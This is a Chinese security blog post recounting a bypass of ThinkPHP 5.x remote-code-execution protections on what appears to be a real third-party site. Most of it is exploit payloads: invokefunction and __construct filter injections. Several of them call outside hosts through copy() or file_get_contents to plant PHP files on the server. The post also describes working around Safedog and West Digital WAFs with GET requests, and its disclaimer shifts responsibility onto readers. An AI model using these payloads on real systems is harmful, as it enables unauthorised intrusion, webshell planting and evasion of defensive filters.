前言
遇到一个tp5的站,批量检测一下poc直接一把梭(啥?又是一把梭?)
存在invokefunction命令执行,我们执行一下命令试试,直接iis 进程报错,一脸懵比,版本也判断不了
我们来发一下原始包试试
index.php?s=index/thinkapp/invokefunction&function=phpinfo&vars[0]=100
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
可以正常输出phpinfo,尝试执行命令
还是提示进程报错,应该是调用call_user_func_array出了问题,尝试POST提交的方式
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
s=whoami&_method=__construct&method&filter[]=system
_method=__construct&filter=assert&method=get&
server[REQUEST_METHOD]=print_r(file_put_contents(%27info.php%27,file_get_contents(%27http://www.baidu.com/xx.txt%27)))
?s=captcha&aaaa=copy("http://xx.com/test.txt","test.php")
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=aaaa
?s=captcha&r=base64
_method=__construct&filter[]=strrev&filter[]=think__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
全被安全狗和西部数码的waf拦截,看来提交post肯定会被拦,只能从get方式绕过
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
function直接调用了call_user_func_array函数,尝试替换call_user_func_array为system
system被禁用,尝试使用print_r显示正常输出,看来有戏
使用assert尝试调用copy下载
system exec都需要两个vars参数,调用assert只需要一个vars参数即可,具体看报错信息,缺少参数会提示:方法参数错误:return_value
?s=index/thinkapp/invokefunction&
function=assert&vars[0]=copy(%27http://127.0.0.1/xxx.txt%27,%27xxxx.php%27
知识点:禁用函数、禁用请求的情况下,尝试多个函数,随机应变
PS:原创实战案例不足,多找点不错的实战案例分享给大家。
关于极梦C交流群:因为某些原因,更改一下交流群的获取方式
-
关注极梦C,后台回复发送 "交流群",即可获取交流群二维码。
-
如若上述方式不行,请点击联系我们->添加官方二维码拉群 。
本公众号文章以技术分享学习为目的。
由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任。
一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(极梦C):记一次简单的Thinkphp 5.x绕过姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论